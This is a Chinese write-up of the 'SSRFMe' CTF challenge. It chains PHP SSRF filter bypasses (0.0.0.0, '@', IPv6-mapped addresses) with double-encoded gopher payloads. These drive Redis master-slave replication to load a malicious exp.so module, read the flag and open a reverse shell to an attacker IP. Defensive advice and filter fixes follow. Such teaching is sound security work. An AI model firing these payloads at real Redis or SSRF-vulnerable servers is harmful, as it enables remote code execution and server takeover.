CTF题目《SSRFMe》(网鼎杯 2020 玄武组)WriteUp

1. 题目背景与代码审计

题目核心是一个SSRF(服务端请求伪造)漏洞,目标是通过构造恶意请求绕过内网IP检测,访问本地hint.php,并利用Redis主从复制实现远程代码执行(RCE)。代码关键点如下:

  • 内网IP检测逻辑
    check_inner_ip函数通过解析URL的host部分,将其转换为IP地址,并与内网IP段(127.0.0.0/8、10.0.0.0/8等)对比。若检测到内网IP,则拒绝请求。
  • SSRF触发点
    safe_request_url函数使用cURL发起请求,若存在重定向(如302跳转),会递归调用自身处理重定向后的URL。
  • 详细代码审计见文章结尾。

2. 解题流程

2.1 绕过内网IP限制访问hint.php
  • 绕过方法
    利用0.0.0.0作为本地地址的别名特性,构造请求:
    ?url=http://0.0.0.0/hint.php;或使用@符号混淆:?url=http://[email protected]/hint.php(见结尾 parse_url 解析 部分);或使用IPv6绕过限制:?url=http://[0:0:0:0:0:ffff:127.0.0.1]//hint.php(见结尾 IPv6绕过 部分)。

  • hint.php内容
    若请求来自127.0.0.1,显示以下代码:

    php 复制代码
    if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){  highlight_file(__FILE__);   }   
    if(isset($_POST['file'])){
      file_put_contents($_POST['file'], "<?php echo 'redispass is root';exit();".$_POST['file']);
    }

    提示Redis密码为root,但直接写入文件失败(权限不足),需转向Redis攻击。

2.2 Redis主从复制攻击
  • 攻击原理
    Redis 4.x~5.0.5支持主从复制,从机(靶机)可加载恶意模块(.so文件)实现RCE (Remote Code Execution,远程代码执行) 。需利用SSRF向Redis发送命令,使其连接至攻击者控制的"主服务器"并加载恶意模块。Payload需二次URL编码以确保传输正确。
  • 攻击步骤
  1. 攻击机开启主服务器

    需要利用到两个工具:Awsome-Redis-Rogue-Serverredis-rogue-server 详细介绍参考我的文章工具介绍《Awsome-Redis-Rogue-Server 与 redis-rogue-server》。先下载这两个工具,地址分别为:https://github.com/n0b0dyCN/redis-rogue-serverhttps://github.com/Testzero-wz/Awsome-Redis-Rogue-Server。替换Awsome-Redis-Rogue-Server的模块为redis-rogue-serverexp.so(含system命令模块),启动恶意主节点并加载该模块执行命令。redis_rogue_server.py位于Awsome-Redis-Rogue-Server项目中,redis-rogue-server.py位于redis-rogue-server注意不要把两个搞混。

    bash 复制代码
    python3 redis_rogue_server.py -v -path exp.so -lport 21000
  2. . 修改 Redis 持久化文件(如 RDB 快照)的存储目录

    gopher协议具体介绍见文章基础知识《Gopher协议》。发送命令设置存储目录为/tmp(有写权限),编码后Payload: (%0d0x0a分别代表回车符(CR,ASCII 13)换行符(LF,ASCII 10)%编码之后是%25

    url 复制代码
    gopher://0.0.0.0:6379/_auth root  # 尝试使用密码 `root` 进行 Redis 认证
    config set dir /tmp/  # 修改 Redis 持久化文件(如 RDB 快照)的存储目录为 `/tmp/`
    quit  # 退出 Redis 连接
    
    # 经过两次url编码
    gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dir%2520/tmp/%250d%250aquit
  3. 设置主从复制关系,数据同步

    指定恶意Redis服务器(如攻击者IP 174.1.185.67:21000)为主节点,并设置持久化文件名为exp.so

    url 复制代码
    gopher://0.0.0.0:6379/_auth root
    config set dbfilename exp.so  # 将 Redis 持久化文件(如 RDB 快照)的名称设置为 `exp.so`
    slaveof 174.1.185.67 21000  # 将当前 Redis 实例设置为 IP `174.1.185.67` 端口 `21000` 的从节点,接受主节点的数据同步
    quit
    
    # 经过两次url编码
    gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%2520174.1.185.67%252021000%250d%250aquit
  4. 加载恶意模块

    redis 复制代码
    gopher://0.0.0.0:6379/_auth root
    module load /tmp/exp.so
    quit
    
    gopher://0.0.0.0:6379/_auth%2520root%250d%250amodule%2520load%2520/tmp/exp.so%250d%250aquit
  5. 关闭主从同步

    redis 复制代码
    gopher://0.0.0.0:6379/_auth root
    slaveof NO ONE
    quit
    
    gopher://0.0.0.0:6379/_auth%2520root%250d%250aslaveof%2520NO%2520ONE%250d%250aquit
  6. 导出数据库

    redis 复制代码
    gopher://0.0.0.0:6379/_auth root
    config set dbfilename dump.rdb
    quit
    
    gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dbfilename%2520dump.rdb%250d%250aquit
  7. 获取flag

    redis 复制代码
    gopher://0.0.0.0:6379/_auth root
    system.exec "cat /flag"
    quit
    
    gopher://0.0.0.0:6379/_auth%2520root%250d%250asystem.exec%2520%2522cat%2520%252Fflag%2522%250d%250aquit
2.3 解法二:反弹shell
redis 复制代码
# 攻击机监听 6666
nc -lvvp 6666
redis 复制代码
# 如攻击者IP `174.1.185.67:6666`
gopher://0.0.0.0:6379/_auth root
system.rev 174.1.185.67 6666
quit

gopher://0.0.0.0:6379/_auth%2520root%250d%250asystem.rev%2520174.1.185.67%25206666%250d%250aquit
bash 复制代码
dir  
exp.so pear  
dir /  
bin dev flag home lib64 mnt proc run srv sys usr  
boot etc flag.sh lib media opt root sbin start.sh tmp var  
cat /flag  
flag{dca2cded-fb98-4b9b-a92b-c040fc8c0c2f}
2.4 解法三:redis-ssrf

工具:redis-ssrf以及上文提到的redis-rogue-serverredis-ssrf地址:https://github.com/xmsec/redis-ssrf

过程:

  1. 复制.so文件到redis-ssrf目录中;

  2. 修改ssrf-redis.py文件:

    python 复制代码
    # 需要修改三部分源代码:
    # 第一部分源代码:
    elif mode==3:
    lhost="192.168.1.100"
    lport="6666"
    command="whoami"
    
    # 修改代码一:
    elif mode==3:
    lhost="攻.击.机.ip"
    lport="攻击机端口"  #  端口可以修改,但是要求与redis-rogue-server.py主函数中的lport一致
    command="cat /flag"  # 要执行的命令
    
    # 第二部分源代码:
    ip="127.0.0.1"
    port="6379"
    payload=protocol+ip+":"+port+"/_"
    
    # 修改代码二:
    ip="0.0.0.0"
    port="6379"
    payload=protocol+ip+":"+port+"/_"
    
    # 第三部分源代码:
    # input auth passwd or leave blank for no pw
    passwd = ''
    
    # 修改代码三:
    # input auth passwd or leave blank for no pw
    passwd = 'root'
  3. 修改完成后运行产生payload:gopher://0.0.0.0:6379/_%2A2%0D%0A%244%0D%0AAUTH%0D%0A%244%0D%0Aroot%0D%0A%2A3%0D%0A%247%0D%0ASLAVEOF%0D%0A%2413%0D%0A192.168.1.100%0D%0A%244%0D%0A6666%0D%0A%2A4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%243%0D%0Adir%0D%0A%245%0D%0A/tmp/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%246%0D%0Aexp.so%0D%0A%2A3%0D%0A%246%0D%0AMODULE%0D%0A%244%0D%0ALOAD%0D%0A%2411%0D%0A/tmp/exp.so%0D%0A%2A2%0D%0A%2411%0D%0Asystem.exec%0D%0A%246%0D%0Awhoami%0D%0A%2A1%0D%0A%244%0D%0Aquit%0D%0A

  4. 对payload再次进行url编码确保正常运行:gopher%253A%252F%252F0.0.0.0%253A6379%252F_*2%250A%25244%250AAUTH%250A%25244%250Aroot%250A*3%250A%25247%250ASLAVEOF%250A%252413%250A192.168.1.100%250A%25244%250A6666%250A*4%250A%25246%250ACONFIG%250A%25243%250ASET%250A%25243%250Adir%250A%25245%250A%252Ftmp%252F%250A*4%250A%25246%250Aconfig%250A%25243%250Aset%250A%252410%250Adbfilename%250A%25246%250Aexp.so%250A*3%250A%25246%250AMODULE%250A%25244%250ALOAD%250A%252411%250A%252Ftmp%252Fexp.so%250A*2%250A%252411%250Asystem.exec%250A%25246%250Awhoami%250A*1%250A%25244%250Aquit

  5. 运行redis-rogue-server.py并注入payload:?url=gopher%253A%252F%252F0.0.0.0%253A6379%252F_*2%250A%25244%250AAUTH%250A%25244%250Aroot%250A*3%250A%25247%250ASLAVEOF%250A%252413%250A192.168.1.100%250A%25244%250A6666%250A*4%250A%25246%250ACONFIG%250A%25243%250ASET%250A%25243%250Adir%250A%25245%250A%252Ftmp%252F%250A*4%250A%25246%250Aconfig%250A%25243%250Aset%250A%252410%250Adbfilename%250A%25246%250Aexp.so%250A*3%250A%25246%250AMODULE%250A%25244%250ALOAD%250A%252411%250A%252Ftmp%252Fexp.so%250A*2%250A%252411%250Asystem.exec%250A%25246%250Awhoami%250A*1%250A%25244%250Aquit

3. 关键知识点

  1. SSRF绕过技巧

    • 利用0.0.0.0localhost别名或DNS重绑定绕过IP检测。
    • 使用@符号混淆URL路径(如http://user@host)。
  2. Gopher协议构造

    Gopher支持多行命令,需将Redis命令转换为URL编码格式,并注意换行符\r\n的编码(%0D%0A)。

  3. Redis主从复制漏洞

    • 通过slaveof命令控制从机连接恶意主节点。
    • 利用.so模块实现任意命令执行(需Redis未授权访问或已知密码)。

4. 协议与目标解析

  • gopher://0.0.0.0:6379/_
    • 协议类型 :使用 gopher 协议,常用于 SSRF 攻击,支持向任意服务发送原始 TCP 数据流 。
    • 目标地址0.0.0.0:6379 表示本地 Redis 服务的默认端口(6379)。

5. Redis 命令解析

更多Redis命令见文章基础知识《Redis 解析》

(1)auth root
  • 功能 :尝试使用密码 root 进行 Redis 认证。
  • 攻击场景
    • 若 Redis 配置了密码且密码为 root,此命令用于绕过认证限制 。
    • 若目标 Redis 未授权访问(无密码),此命令可能被忽略或触发错误。
(2)config set dir /tmp/
  • 功能 :修改 Redis 持久化文件(如 RDB 快照)的存储目录为 /tmp/
  • 攻击意图
    • 为后续写入恶意文件(如 webshell、SSH 公钥、计划任务等)到 /tmp/ 目录做准备。该目录通常具有全局可写权限,便于攻击者操作 。
    • 常见利用路径包括:
      • Webshell :设置为 Web 根目录(如 /var/www/html),写入 PHP 后门。
      • SSH 公钥 :设置为 /root/.ssh,写入 authorized_keys 文件实现免密登录。
      • Cron 任务 :设置为 /var/spool/cron,写入定时任务反弹 Shell 。
(3)quit
  • 功能:退出 Redis 连接。
(4)config set dbfilename exp.so
  • 功能 :将 Redis 持久化文件(如 RDB 快照)的名称设置为 exp.so
  • 攻击意图
    • 为后续通过 主从复制 加载恶意 .so 模块做准备。exp.so 通常是攻击者编译的恶意动态链接库,包含可执行代码 。
(5)slaveof 174.1.185.67 21000
  • 功能 :将当前 Redis 实例设置为 IP 174.1.185.67 端口 21000 的从节点,接受主节点的数据同步。
  • 攻击流程
    1. 恶意主节点控制 :攻击者在 174.1.185.67:21000 运行伪造的 Redis 主节点,包含恶意模块文件 exp.so
    2. 数据同步 :从节点(目标 Redis)自动从主节点下载 exp.so 并保存到 dbfilename 指定的路径。
    3. 模块加载 :后续通过 MODULE LOAD 命令加载 exp.so,执行任意系统命令(如反弹 Shell)。
(6)MODULE LOAD /tmp/exp.so
  • 功能 :动态加载位于 /tmp/exp.so 的恶意模块。
  • 攻击意图
    • 自定义命令注入exp.so 包含通过 RedisModule_CreateCommand 注册的自定义命令(如 system.execsystem.rev),用于执行系统级操作 。
    • 隐蔽性:通过模块注入而非直接写入文件,可实现无文件攻击,规避传统文件监控 。
(7)SLAVEOF NO ONE
  • 功能:停止当前 Redis 实例的主从复制关系,恢复为主节点。
  • 攻击意图
    • 清理痕迹:在完成主从复制攻击(如恶意模块同步)后,解除从节点身份,避免后续异常同步引起怀疑 。
(8)CONFIG SET dbfilename dump.rdb
  • 功能 :将持久化文件名恢复为默认的 dump.rdb
  • 攻击意图
    • 伪装正常操作 :覆盖此前通过 dbfilename 设置的恶意文件(如 exp.so 或 Webshell),减少被检测的风险 。
(9)system.exec "cat /flag"
  • 功能 :执行系统命令 cat /flag,读取服务器上的敏感文件(如 flag 文件)。
  • 攻击意图
    • 数据窃取:直接利用恶意模块注入的系统命令执行能力,绕过应用层权限限制,获取服务器敏感信息 。
(10)system.rev 174.1.185.67 6666
  • 功能 :通过恶意模块建立的反弹 Shell 连接,将服务器控制权移交至攻击者 IP 174.1.185.67 的 6666 端口。
  • 攻击意图
    • 持久化控制:建立反向连接后,攻击者可完全操控服务器,进行内网横向渗透或数据窃取 。

代码审计

php 复制代码
<?php
/**
 * 检查给定URL是否指向内网IP地址
 * @param string $url 待检查的URL
 * @return bool 如果是内网IP返回true,否则false
 */
function check_inner_ip($url)
{
    // 使用正则验证URL格式(允许http/https/gopher/dict协议)
    $match_result = preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/', $url);
    if (!$match_result) {
        die('url fomat error'); // 格式错误立即终止程序
    }
    
    try {
        // 解析URL获取各组成部分
        $url_parse = parse_url($url);
    } catch (Exception $e) {
        die('url fomat error'); // 异常处理(实际parse_url不会抛异常,此处逻辑存在问题)
        return false;
    }
    
    $hostname = $url_parse['host'];  // 提取主机名
    $ip = gethostbyname($hostname);  // DNS解析获取IP地址
    $int_ip = ip2long($ip);          // 将IP转为整数格式
    
    // 检查是否属于私有IP范围:可以尝试0.0.0.0绕过
    return ip2long('127.0.0.0') >> 24 == $int_ip >> 24 || // 127.0.0.0/8
           ip2long('10.0.0.0') >> 24 == $int_ip >> 24  || // 10.0.0.0/8
           ip2long('172.16.0.0') >> 20 == $int_ip >> 20 || // 172.16.0.0/12
           ip2long('192.168.0.0') >> 16 == $int_ip >> 16;  // 192.168.0.0/16
}

/**
 * 安全请求URL(理论上应该阻止访问内网资源)
 * @param string $url 要请求的URL
 */
function safe_request_url($url)
{
    if (check_inner_ip($url)) {
        echo $url . ' is inner ip'; // 内网地址拦截提示
    } else {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);       // 设置请求URL
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // 返回响应结果
        curl_setopt($ch, CURLOPT_HEADER, 0);       // 不包含响应头
        
        $output = curl_exec($ch);                  // 执行请求
        $result_info = curl_getinfo($ch);          // 获取请求信息
        
        // 递归处理重定向(存在SSRF风险)
        if ($result_info['redirect_url']) {
            safe_request_url($result_info['redirect_url']);
        }
        
        curl_close($ch);
        var_dump($output); // 输出响应内容
    }
}

// 主程序逻辑
if (isset($_GET['url'])) {
    $url = $_GET['url'];
    if (!empty($url)) {
        safe_request_url($url); // 处理用户输入的URL
    }
} else {
    highlight_file(__FILE__); // 无参数时显示源代码
}
// 提示本地访问hint.php(可能存在提示信息)
php 复制代码
<?php
$ip1_long = ip2long('127.0.0.0');  // 将 IPv4 地址 `127.0.0.0` 转换为 32 位整数
$ip2_long = ip2long('192.168.0.0');
var_dump($ip1_long);  
// 32位系统中:结果为 `2130706432`(十进制)或 `0x7F000000`(十六进制)
// 64 位系统中:结果相同,但 PHP 会以无符号整数处理。


$shifted = $ip1_long >> 24; 
var_dump($shifted);  // int(127) 右移24位等价于取高8位,A 类地址的第一个字节
var_dump($ip2_long >> 16);  // int(49320) 右移16位等价于取高16位

$input_url1 = ip2long('127.0.1.193');
$input_url2 = ip2long('193.0.1.193');
$ip1 = $input_url1 >> 24;
$ip2 = $input_url2 >> 24;
var_dump($shifted == $ip1);  // bool(true)
var_dump($shifted == $ip2);  // bool(false)
var_dump($shifted == $ip1||$shifted == $ip2);  // bool(true)

# OUTPUT:
int(2130706432)
int(127)
int(49320)
bool(true)
bool(false)
bool(true)

Redis主从复制攻击

Redis主从复制攻击是指攻击者利用Redis主从架构的配置缺陷或漏洞,通过控制主节点或从节点实现未授权访问、数据泄露、远程代码执行(RCE)等恶意行为。以下是此类攻击的核心原理、常见手法及防御建议:

一、攻击原理
  1. 主从复制的机制漏洞 Redis主从复制默认基于异步通信,主节点(Master)将数据同步给从节点(Slave)。若主节点存在未授权访问或弱密码,攻击者可伪造从节点(Slave)身份,强制主节点发送数据或执行恶意命令,例如加载恶意模块(如.so文件)实现代码执行。

  2. 未授权访问与横向移动 Redis默认监听6379端口且早期版本无密码认证。攻击者通过暴露的Redis实例建立主从关系,利用SLAVEOF命令将目标Redis设置为从节点,进而控制主节点发送恶意数据(如恶意Lua脚本或模块)。

  3. 缓冲区溢出与代码执行 Redis的Lua脚本引擎(如CVE-2024-31449、CVE-2024-46981)存在堆栈溢出漏洞,攻击者可通过主从复制传递特制Lua脚本触发漏洞,导致远程代码执行(RCE)。

二、常见攻击手法
  1. 恶意模块加载攻击

    • 步骤 :攻击者搭建恶意主节点,生成包含后门的.so文件(如利用RedisModules-ExecuteCommand工具),诱导目标Redis作为从节点连接。主节点通过MODULE LOAD命令强制从节点加载恶意模块,获得反弹Shell或执行系统命令 。
    • 案例 :工具redis-rce通过生成恶意.so文件结合主从复制实现RCE 。
  2. 数据覆写与权限提升

    • 通过CONFIG SET dirCONFIG SET dbfilename修改Redis持久化路径,将SSH公钥写入目标服务器的authorized_keys文件,获取SSH登录权限 。
  3. Lua脚本漏洞利用

    • 利用Lua脚本引擎的缓冲区溢出漏洞(如CVE-2024-31449),通过主从复制传递恶意脚本触发堆栈溢出,实现代码执行 。
三、防御建议
  1. 访问控制与认证

    • 设置强密码(requirepass参数),禁用未授权访问 。
    • 使用防火墙限制Redis端口(6379)仅对可信IP开放 。
  2. 配置加固

    • 禁用高危命令(如FLUSHALLMODULE),通过rename-command重命名危险指令。
    • 调整client-output-buffer-limit防止复制缓冲区溢出导致连接中断 。
  3. 漏洞修复与升级

    • 升级至安全版本(Redis 7.2.6+、7.4.1+),修复Lua引擎漏洞 。
    • 定期检查并应用安全补丁,尤其是涉及Lua和主从复制的CVE 。
  4. 架构优化

    • 使用哨兵(Sentinel)模式实现自动故障转移,避免手动切换主从时暴露攻击面 。
    • 分离主节点与从节点部署,避免单点故障导致全量同步风暴 。
四、入侵溯源与应急响应
  • 异常连接排查 :检查Redis日志及网络连接(netstat),关注非常规端口(如8888)的反弹。
  • 历史命令审计 :分析Redis命令历史(~/.rediscli_history)及系统日志,查找可疑的wgetcurl等下载行为 。
  • 进程监控 :使用pstop检查异常进程,如未知的Shell会话或恶意模块加载 。

PHP中的 $_SERVER 超全局数组详解

$_SERVER[] 是PHP中一个预定义的超全局数组,用于存储服务器环境、请求头信息、脚本路径等与HTTP请求和服务器配置相关的数据。以下是对其核心功能、常用参数及安全注意事项的详细解析:

一、核心特性与作用
  1. 超全局性 $_SERVER 在所有脚本作用域中自动生效,无需使用 global 声明即可访问。其内容由Web服务器生成,不同服务器(如Apache、Nginx)可能提供的信息存在差异。

  2. 数据类型与范围

    • 包含字符串键值对 ,如 $_SERVER['REMOTE_ADDR'] 表示客户端IP地址。
    • 涵盖服务器软件版本、请求方法、脚本路径、HTTP头信息等 。
  3. $HTTP_SERVER_VARS 的区别

    • $HTTP_SERVER_VARS 是旧版全局变量,需手动声明作用域(如 global),而 $_SERVER 是自动全局变量。
    • 在PHP 4.1.0+版本中,推荐使用 $_SERVER
二、常用参数与用途
参数 描述 示例值
$_SERVER['PHP_SELF'] 当前执行脚本的文件名(相对于文档根目录)。常用于表单自提交场景。 /index.php
$_SERVER['REQUEST_METHOD'] 请求方法(GET、POST、PUT等)。用于判断请求类型。 GET
$_SERVER['REMOTE_ADDR'] 客户端IP地址。注意可能受代理影响,需结合 HTTP_X_FORWARDED_FOR 分析。 192.168.1.100
$_SERVER['HTTP_USER_AGENT'] 客户端浏览器和操作系统信息。常用于设备检测或日志记录。 Mozilla/5.0 (Windows NT 10.0...)
$_SERVER['DOCUMENT_ROOT'] 服务器文档根目录绝对路径。用于文件操作或路径拼接。 /var/www/html
$_SERVER['SCRIPT_FILENAME'] 当前脚本的绝对路径。与 __FILE__ 常量等价。 /var/www/html/index.php
$_SERVER['HTTP_REFERER'] 用户访问当前页的前一页URL。可能为空或被伪造,需谨慎验证。 https://www.google.com
$_SERVER['HTTPS'] 是否通过HTTPS访问(值为 onoff)。用于判断协议安全性。 on
$_SERVER['QUERY_STRING'] URL中的查询字符串(?后的部分)。常用于参数解析。 id=123&name=test
三、安全注意事项
  1. 防止XSS攻击

    • 直接输出 $_SERVER['PHP_SELF'] 可能导致XSS漏洞。建议使用 htmlspecialchars() 转义:
    php 复制代码
    echo htmlspecialchars($_SERVER['PHP_SELF']);
  2. 验证来源与客户端信息

    • HTTP_REFERERHTTP_USER_AGENT 可被伪造,不可依赖其进行敏感操作(如身份验证)。
  3. 敏感信息泄露

    • 避免在生产环境打印完整 $_SERVER 内容(如通过 print_r($_SERVER)),以防暴露服务器配置细节 。
四、高级用法与场景
  1. 动态路径处理 使用 $_SERVER['DOCUMENT_ROOT'] 结合 __DIR__ 拼接文件路径,增强跨平台兼容性:

    php 复制代码
    $config_path = $_SERVER['DOCUMENT_ROOT'] . '/config/database.php';
  2. 请求协议判断

    判断是否启用HTTPS:

    php 复制代码
     $is_https = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off');
  3. 日志记录与调试

    记录客户端IP和请求时间:

    php 复制代码
     $log_entry = date('Y-m-d H:i:s') . ' - IP: ' . $_SERVER['REMOTE_ADDR'];
     file_put_contents('access.log', $log_entry, FILE_APPEND);
五、与其他超全局变量的关系
  • $_GET$_POST :专门处理GET/POST参数,而 $_SERVER 提供元数据(如请求方法)。
  • $_ENV :存储系统环境变量(如PATH),需在 php.ini 中配置 variables_order 包含 EE 表示启用环境变量) 才生效 ,即variables_order 参数,默认值通常为 "GPCS"将其改为 "EGPCS"

IPv6绕过

1. 关键漏洞:未正确处理 IPv6 地址

函数的核心逻辑是提取 URL 的 host 并解析为 IPv4 地址,但未考虑 IPv6 地址的兼容性

当 URL 使用 IPv4 映射的 IPv6 地址 (如 [::ffff:127.0.0.1])时:

  • parse_url 会提取 host0:0:0:0:0:ffff:127.0.0.1(IPv6 格式)。
  • gethostbyname 无法正确解析此类地址,可能直接返回原字符串或无效值。
  • ip2long 仅支持 IPv4 ,遇到非 IPv4 字符串会返回 false,导致后续逻辑失效。
2. 逐步漏洞分析
步骤 1:正则表达式绕过

URL http://[0:0:0:0:0:ffff:127.0.0.1]//hint.php 符合正则规则:

php 复制代码
preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/', $url);

正则未严格校验主机名格式(如 IPv6 的方括号语法),导致绕过。

步骤 2:parse_url 解析结果

parse_url 提取的 host0:0:0:0:0:ffff:127.0.0.1(去除方括号后的 IPv6 地址)。

步骤 3:gethostbyname 解析失败

gethostbyname 尝试解析 0:0:0:0:0:ffff:127.0.0.1

  • 该地址本质是 IPv4 映射的 IPv6 地址(对应 127.0.0.1),但 gethostbyname 默认只支持 IPv4,无法识别此格式。
  • 返回结果为原字符串 0:0:0:0:0:ffff:127.0.0.1,而非预期的 127.0.0.1
步骤 4:ip2long 转换失败
php 复制代码
$ip = '0:0:0:0:0:ffff:127.0.0.1'; // 非 IPv4 格式
$int_ip = ip2long($ip); // 返回 false
  • ip2long 无法处理非 IPv4 地址,返回 false

  • false 转换为整数时为 0,后续比较逻辑完全失效:

    php 复制代码
    // 所有条件均为 false
    127.0.0.0 >>24 == 0 >>24  // 127 vs 0 → false
    10.0.0.0 >>24 == 0 >>24   // 10 vs 0 → false
    ...
  • 函数错误地返回 false(认为非内网 IP),但实际目标为 127.0.0.1(应被拦截)。

3. 根本原因
  • IPv6 盲区:函数仅针对 IPv4 设计,未处理 IPv6 地址(尤其是 IPv4 映射的 IPv6 地址)。
  • 依赖脆弱函数gethostbyname + ip2long 组合无法安全解析混合格式的 IP。
  • 错误处理缺失 :未校验 ip2long 的返回值是否为合法 IPv4。
4. 修复方案
方案 1:强制使用 IPv4 解析

使用 filter_var 直接提取 IPv4 地址:

php 复制代码
$ip = filter_var($hostname, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4);
if ($ip === false) {
    // 非 IPv4 地址,直接拒绝
    return false;
}
方案 2:支持 IPv6 检测

使用 inet_pton 兼容 IPv4/IPv6:

php 复制代码
// 检测是否为 IPv4 映射的 IPv6 地址(如 ::ffff:127.0.0.1)
$packed = inet_pton($hostname);
if ($packed && strpos($hostname, '::ffff:') === 0) {
    $ipv4 = substr($packed, -4); // 提取后 4 字节(IPv4 部分)
    $ip = implode('.', unpack('C4', $ipv4)); // 转换为 IPv4 字符串
    // 后续检查 $ip 是否为内网地址
}
方案 3:使用现代网络库

换用 CURLsocket 直接获取目标 IP,避免解析歧义:

php 复制代码
$ip = gethostbynamel($hostname);
if ($ip === false) {
    return false;
}
// 检查所有解析到的 IP 是否属于内网

parse_url 解析

在 PHP 中,URL http://[email protected]/hint.php 可以绕过 check_inner_ip 函数的内网 IP 检测,原因如下:

1. URL 解析的陷阱
URL 结构分析
  • URL 格式:http://user@host/path,其中:
    • user 部分为 abc.com(用户名)。
    • host 部分为 0.0.0.0(实际目标主机)。
    • path/hint.php
parse_url 的解析结果
php 复制代码
$url = 'http://[email protected]/hint.php';
$parts = parse_url($url);

// 输出:
[
  'scheme' => 'http',
  'host' => '0.0.0.0',  // 实际目标主机
  'user' => 'abc.com',   // 用户名部分
  'path' => '/hint.php'
]
  • 关键点
    parse_url 正确解析出 host0.0.0.0,但 0.0.0.0 是一个特殊 IP,表示"所有本机网络接口",通常不被视为内网 IP
2. 函数 check_inner_ip 的逻辑漏洞

函数通过以下步骤验证内网 IP:

  1. 提取 host0.0.0.0)。
  2. host 解析为 IP(gethostbyname('0.0.0.0'))。
  3. 检查该 IP 是否属于私有 IP 段(如 10.0.0.0/8, 192.168.0.0/16 等)。
漏洞 1:0.0.0.0 未被识别为内网 IP
  • 0.0.0.0 是特殊 IP,表示"绑定到本机所有网络接口",但不直接属于内网 IP 段 (如 127.0.0.0/8192.168.0.0/16)。
  • 函数中的条件检查未覆盖 0.0.0.0,导致其被错误放行。
漏洞 2:gethostbyname 的行为
  • gethostbyname('0.0.0.0') 的返回值取决于系统环境:
    • 在某些系统中,0.0.0.0 会被解析为本机 IP(如 127.0.0.1)。
    • 在另一些系统中,直接返回 0.0.0.0
  • 若返回 0.0.0.0,则 ip2long('0.0.0.0') 的值为 0,而函数检查条件中未覆盖该值
3. 实际绕过过程

假设 gethostbyname('0.0.0.0') 返回 0.0.0.0

php 复制代码
$ip = '0.0.0.0';
$int_ip = ip2long($ip); // 结果为 0

// 检查条件:
127.0.0.0 >>24 == 0 >>24    → 127 vs 0 → false
10.0.0.0 >>24 == 0 >>24     → 10 vs 0 → false
172.16.0.0 >>20 == 0 >>20   → 172.16 vs 0 → false
192.168.0.0 >>16 == 0 >>16  → 192.168 vs 0 → false

// 函数返回 false(认为非内网 IP),实际请求会发送到 0.0.0.0。
4. 安全风险
  • 0.0.0.0 通常用于监听本机所有网络接口,攻击者可利用此 IP:
    1. 绕过内网限制:访问本机开放的服务(如调试端口)。
    2. 端口扫描:探测本机开放的端口。
    3. SSRF 攻击:通过本机中转访问敏感服务。
5. 修复方案
方案 1:禁止 0.0.0.0[::]

在检查逻辑中显式拦截特殊 IP:

php 复制代码
// 新增拦截条件
$forbidden_ips = ['0.0.0.0', '::', '127.0.0.1', 'localhost'];
if (in_array($ip, $forbidden_ips)) {
    return true; // 视为内网
}
方案 2:完善内网 IP 范围

扩展检查条件,覆盖更多私有 IP 段(包括 0.0.0.0):

php 复制代码
// 检查是否为内网 IP
function is_private_ip($ip) {
    $long_ip = ip2long($ip);
    if ($long_ip === false) return false;

    // 标准私有 IP 段
    $private_ranges = [
        ['start' => ip2long('0.0.0.0'),        'end' => ip2long('0.255.255.255')],  // 0.0.0.0/8
        ['start' => ip2long('10.0.0.0'),       'end' => ip2long('10.255.255.255')], // 10.0.0.0/8
        ['start' => ip2long('127.0.0.0'),      'end' => ip2long('127.255.255.255')],// 环回地址
        ['start' => ip2long('172.16.0.0'),     'end' => ip2long('172.31.255.255')], // 172.16.0.0/12
        ['start' => ip2long('192.168.0.0'),    'end' => ip2long('192.168.255.255')],// 192.168.0.0/16
        ['start' => ip2long('169.254.0.0'),    'end' => ip2long('169.254.255.255')],// 链路本地地址
    ];

    foreach ($private_ranges as $range) {
        if ($long_ip >= $range['start'] && $long_ip <= $range['end']) {
            return true;
        }
    }
    return false;
}
方案 3:使用更严格的 URL 解析

禁止 URL 中包含 @ 符号(用户信息字段):

php 复制代码
if (strpos($url, '@') !== false) {
    die('URL 包含非法字符 "@"');
}
相关推荐
XMYX-07 分钟前
解决 Redis 后台持久化失败的问题:内存不足导致 fork 失败
java·数据库·redis
椰椰椰耶11 分钟前
【redis】set 类型:基本命令
数据库·redis·缓存
TechStack 创行者14 分钟前
Docker 构建 nginx-redis-alpine 项目详解
运维·redis·nginx·docker·容器
月亮月亮要去太阳23 分钟前
python画图文字显示不全+VScode新建jupyter文件
开发语言·python
YoloMari24 分钟前
Leetcode刷题-枚举右,维护左
python·算法·leetcode
奥顺互联V32 分钟前
泛目录程序:无需数据库的高效站群解决方案
数据库·搜索引擎·php
小二·37 分钟前
Redis的缓存雪崩、缓存击穿、缓存穿透与缓存预热、缓存降级
redis·缓存·mybatis
网安-轩逸37 分钟前
HTTP与HTTPS的深度解析:技术差异、安全机制及应用场景
安全·http·https
邪恶的贝利亚1 小时前
prompt工程起步
开发语言·python·prompt
数字供应链安全产品选型1 小时前
安全左移动赋能:灵脉IAST交互式应用安全测试平台
网络·人工智能·安全·开源·开源软件